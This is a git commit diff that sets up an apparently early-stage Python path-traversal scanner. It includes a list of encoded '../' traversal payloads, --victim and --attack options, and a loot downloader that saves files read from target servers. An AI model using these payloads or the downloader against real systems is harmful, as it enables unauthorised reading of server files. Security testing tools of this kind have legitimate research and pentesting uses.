init

.directory

@@ -0,0 +1,6 @@
+[Desktop Entry]
+Icon=/home/vainlystrain/Pictures/dagger.png
+
+[Dolphin]
+Timestamp=2019,8,31,14,13,42
+Version=4

.gitignore

@@ -0,0 +1,3 @@
+core/__pycache__
+modvles/__pycache__
+loot/

core/.directory

@@ -0,0 +1,2 @@
+[Desktop Entry]
+Icon=/home/vainlystrain/Pictures/vaileava11.png

core/colors.py

@@ -0,0 +1,38 @@
+#!/usr/bin/env python
+# -*- coding: utf-8 -*-
+"""
+_____, ___
+   '+ .;    
+    , ;   
+     .   
+           
+       .    
+     .;.    
+     .;  
+      :  
+      ,   
+       
+
+┌─[pathtrav]─[~]
+└──╼ VainlyStrain
+"""
+
+class color:
+    BOLD = '\033[1m'
+    UNDERLINE = '\033[4m'
+    CURSIVE = '\033[3m'
+    END = '\033[0m'
+    TR1 = '\033[0m\033[48;2;58;49;58m\033[38;2;225;214;225m\uE0B0'
+    TR2 = '\033[0m\033[38;2;225;214;225m\uE0B0'
+    TR3 = '\033[0m\033[48;2;225;214;225m\033[38;2;58;49;58m\uE0B0'
+    TR4 = '\033[0m\033[38;2;58;49;58m\uE0B0'
+    TR5 = '\033[0m\033[48;2;225;214;225m\033[38;2;19;14;19m\uE0B0'
+    TR6 = '\033[0m\033[48;2;58;49;58m\033[38;2;19;14;19m\uE0B0'
+    G = '\033[0m\033[48;2;225;214;225m\033[38;2;58;49;58m\033[1m'
+    O = '\033[0m\033[48;2;58;49;58m'
+    P = '\033[0m\033[38;2;58;49;58m\033[3m'
+    C  = '\033[0m\033[1m' 
+    RB = '\033[48;2;58;49;58m'
+    RC = '\033[0m\033[38;2;58;49;58m\033[3m'
+    RD = '\033[0m\033[38;2;58;49;58m' 
+    R = '\033[1m\033[38;2;58;49;58m' 

core/loot.py

@@ -0,0 +1,54 @@
+#!/usr/bin/env python
+# -*- coding: utf-8 -*-
+"""
+_____, ___
+   '+ .;    
+    , ;   
+     .   
+           
+       .    
+     .;.    
+     .;  
+      :  
+      ,   
+       
+
+┌─[pathtrav]─[~]
+└──╼ VainlyStrain
+"""
+
+import sys, os
+import core.variables as variables
+from core.session import session
+from core.colors import color
+
+
+def download(url, file):
+    requests = session()
+    if sys.platform.lower().startswith('win'):
+        if "\\" in file:
+            path ='\\'.join(file.split('\\')[0:-1])
+            baseurl = url.split("://")[1]
+            name = baseurl.split("\\")[0]
+        else:
+            path ='\\'.join(file.split('/')[0:-1])
+            baseurl = url.split("://")[1]
+            name = baseurl.split("/")[0]
+        subdir = name+"\\"
+    else:
+        if "\\" in file:
+            path ='/'.join(file.split('\\')[0:-1])
+            baseurl = url.split("://")[1]
+            name = baseurl.split("\\")[0]
+        else:
+            path ='/'.join(file.split('/')[0:-1])
+            baseurl = url.split("://")[1]
+            name = baseurl.split("/")[0]
+        subdir = name+"/"
+    if not os.path.exists(variables.lootdir+subdir+path):
+        os.makedirs(variables.lootdir+subdir+path)
+    with open((variables.lootdir+subdir+file), "wb") as loot:
+        response = requests.get(url)
+        loot.write(response.content)
+    loot.close()
+    print('{}[LOOT]{} {}'.format(color.RD, color.END, file))

core/parser.py

@@ -0,0 +1,72 @@
+#!/usr/bin/env python
+# -*- coding: utf-8 -*-
+"""
+_____, ___
+   '+ .;    
+    , ;   
+     .   
+           
+       .    
+     .;.    
+     .;  
+      :  
+      ,   
+       
+
+┌─[pathtrav]─[~]
+└──╼ VainlyStrain
+"""
+
+import sys, argparse
+from core.colors import color
+
+class ArgumentParser(argparse.ArgumentParser):
+    def error(self, message):
+        self.print_usage(sys.stderr)
+        self.exit(2, "\n"+color.R+'[-]'+color.END+color.BOLD+' Invalid/missing params'+color.END+'\n'+color.RD+'[HINT]'+color.END+' %s\n' % (message))
+
+class VainFormatter(argparse.RawDescriptionHelpFormatter):
+    def add_usage(self, usage, actions, groups, prefix=None):
+        if prefix is None:
+            prefix = color.RD + 'Vsynta ' + color.END
+            #return super(VainFormatter, self).add_usage("{}pathleak{} [-v VIC] [-a ATTACK] [-p PARAM] [-q] [--loot]\n          [--lists FILES DIRS] [-f] [-d DEPTH]\n        [-h] [--victim2 VIC2]".format(color.RB,color.END), actions, groups, prefix)
+            return super(VainFormatter, self).add_usage("{}pathleak{} [-v VIC] [-a ACK] [-p PARAM] [-s]\n          [-l FIL PATH] [-d INT] [--loot]\n        [-f] [-h] [--v2 VIC2]".format(color.RB,color.END), actions, groups, prefix)
+
+def build_parser():
+    p = ArgumentParser(formatter_class=VainFormatter,add_help=False)
+    p.add_argument('-v', '--victim',
+                   help="set attack target address [scheme:// needed]",
+                   metavar="VIC")
+    p.add_argument('-a', '--attack',
+                   help="attack [1]:query [2]:inpath",
+                   metavar="ACK",
+                   type=int)
+    p.add_argument('-f', '--verbosity',
+                   help="Show 404s?",
+                   action="store_true",)
+    p.add_argument('-s', '--summary',
+                   help="No Output until scan finished?",
+                   action="store_true",)
+    p.add_argument('-d', '--depth',
+                   help="1 › max. nr of ../ and dir permutation level",
+                   metavar="INT",
+                   type=int)
+    p.add_argument('-h', '--help',
+                   help="0 » display this help message and exit",
+                   action="help",
+                   default=argparse.SUPPRESS)
+    p.add_argument('-p', '--param',
+                   help="A › Query parameter for file",
+                   metavar="PARAM")
+    p.add_argument('-l', '--lists',
+                   help="1 » Dictionaries",
+                   nargs=2,
+                   metavar=("FIL","PATH"))
+    p.add_argument('--loot',
+                   help="1 › Download found files into loot",
+                   action="store_true")
+    p.add_argument('--v2',
+                   help="A › Attack target part 2",
+                   metavar=("VIC2"))
+
+    return p 

core/print.py

@@ -0,0 +1,57 @@
+#!/usr/bin/env python
+# -*- coding: utf-8 -*-
+"""
+_____, ___
+   '+ .;    
+    , ;   
+     .   
+           
+       .    
+     .;.    
+     .;  
+      :  
+      ,   
+       
+
+┌─[pathtrav]─[~]
+└──╼ VainlyStrain
+"""
+
+from core.colors import color
+from core.variables import CLEAR_CMD
+import subprocess
+
+def banner():
+    vaile = '''{0}                      |
+                      :   
+                      |   
+                      .   
+                      .   
+                      .   
+____, __             .|   
+   + ;               .|   
+   .{1}:,                       
+     ’                      
+    .              /      
+    + ;           :,      
+    ;.           /,       
+   {0}  ;          /;' ;    
+     ;         /;{2}|{0}  : ^  
+     ’      / {2}:{0}  ;.’  °   
+          '/; \\           
+         ./ '. \\      {2}|{0}
+          '.  ’·    __\\,_
+         {1}   '.      {0}\\{1}`{2};{0}{1} 
+              \\      {0}\\ {1}
+              .\\.     {0}V{1}   
+                \\.               
+                 .,.      
+                   .'.    
+                  ''.;:     
+                    .|.   
+                     | .  
+                     .    
+                     {0}
+    '''.format(color.END, color.BOLD, color.CURSIVE)
+    subprocess.call(CLEAR_CMD)
+    print(vaile)

core/session.py

@@ -0,0 +1,17 @@
+import requests
+
+def session():
+    VaileSession = requests.session()
+    VaileSession.proxies = {}
+
+    VaileSession.headers['User-agent'] = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.79 Safari/537.36 Edge/14.14393'
+    '''
+    if vars.tor:
+        VaileSession.proxies['http'] = 'socks5h://localhost:9050'
+        VaileSession.proxies['https'] = 'socks5h://localhost:9050'
+        torcheck()
+    else:
+        VaileSession.proxies['http'] = None
+        VaileSession.proxies['https'] = None
+    '''
+    return VaileSession 

core/tree.py

@@ -0,0 +1,51 @@
+#!/usr/bin/env python
+# -*- coding: utf-8 -*-
+"""
+_____, ___
+   '+ .;    
+    , ;   
+     .   
+           
+       .    
+     .;.    
+     .;  
+      :  
+      ,   
+       
+
+┌─[pathtrav]─[~]
+└──╼ VainlyStrain
+"""
+
+import treelib, string, random
+from core.colors import color
+
+def randomword(length):
+   letters = string.ascii_lowercase
+   return ''.join(random.choice(letters) for i in range(length))
+
+def replaceColors(ntag):
+    return ntag.replace(color.RD, "").replace(color.END, "")
+
+
+def tree_append(tree, path, parentnode):
+    plist = path.split("/")
+    id = plist[0]
+    if not tree.contains(id):
+        tree.create_node(color.END+plist[0]+color.RD, id, parent=parentnode)
+    else:
+        if tree.parent(id).identifier != parentnode:
+            new = True
+            for i in tree.children(parentnode):
+                if replaceColors(i.tag) == id:
+                    new = False
+            if new:
+                id = id + randomword(128)
+                tree.create_node(color.END+plist[0]+color.RD, id, parent=parentnode)
+    if len(plist) > 1:
+        tree_append(tree, "/".join(plist[1::]), id)
+
+def create_tree(tree, filepaths):
+    for i in filepaths:
+        if i != "":
+            tree_append(tree, i, "root")

core/variables.py

@@ -0,0 +1,39 @@
+#!/usr/bin/env python
+# -*- coding: utf-8 -*-
+"""
+_____, ___
+   '+ .;    
+    , ;   
+     .   
+           
+       .    
+     .;.    
+     .;  
+      :  
+      ,   
+       
+
+┌─[pathtrav]─[~]
+└──╼ VainlyStrain
+"""
+
+import multiprocessing
+import sys, os
+
+payloadlist = ['../','./','....//','...//','.....///','. . /','..\\','.\\', '....\\\\','.....\\\\\\','. . \\', '%2e%2e%2f', 
+               '%252e%252e%255c','%252e%252e%255f','%2e%2e%2c','..;/','..;\\','..\/','../\\','%c0%2e','%e0%40%ae',
+               '..%c0%af','..%c1%9c','%c0%ae%c0%ae/','%c0%ae%c0%ae%c0%af',
+               '%25c0%25ae%25c0%25ae/','%c0%ae%c0%ae\\','%25c0%25ae%25c0%25ae%25c1%259c',
+               '..%%32%66','%%32%65%%32%65%%32%66','%%32%65%%32%65%%35%63',
+               '%uff0e%uff0e%u2215','%uff0e%uff0e%u2216','..%u2216','..%uEFC8',
+               '..%uF025']
+sdirs = ['']
+commons = []
+
+CLEAR_CMD = "cls" if sys.platform.lower().startswith("win") else "clear"
+processes = multiprocessing.cpu_count()
+
+if sys.platform.lower().startswith('win'):
+    lootdir = os.path.dirname(os.path.realpath(__file__))+"\\..\\loot\\"
+else:
+    lootdir = os.path.dirname(os.path.realpath(__file__))+"/../loot/"

dicts/dirs2

@@ -0,0 +1,3 @@
+actions/
+lib/
+views/

dicts/files2

@@ -0,0 +1,3 @@
+index.php
+admin.php
+contact.php

modvles/.directory

@@ -0,0 +1,2 @@
+[Desktop Entry]
+Icon=/home/vainlystrain/Pictures/andere.png

modvles/filecheck.py

@@ -0,0 +1,26 @@
+#!/usr/bin/env python
+# -*- coding: utf-8 -*-
+"""
+_____, ___
+   '+ .;    
+    , ;   
+     .   
+           
+       .    
+     .;.    
+     .;  
+      :  
+      ,   
+       
+
+┌─[pathtrav]─[~]
+└──╼ VainlyStrain
+"""
+
+
+def filecheck(con, con2):
+    conn = str(con)
+    check = (con != con2 and "[<a href='function.main'>function.main</a>" not in conn and "[<a href='function.include'>function.include</a>" not in conn 
+    and ("Failed opening" not in conn and "for inclusion" not in conn) and "failed to open stream:" not in conn and "open_basedir restriction in effect" not in conn 
+    and "swords" not in conn and "file_exists() expects parameter 1 to be a valid path" not in conn)
+    return check

modvles/inpath.py

@@ -0,0 +1 @@
+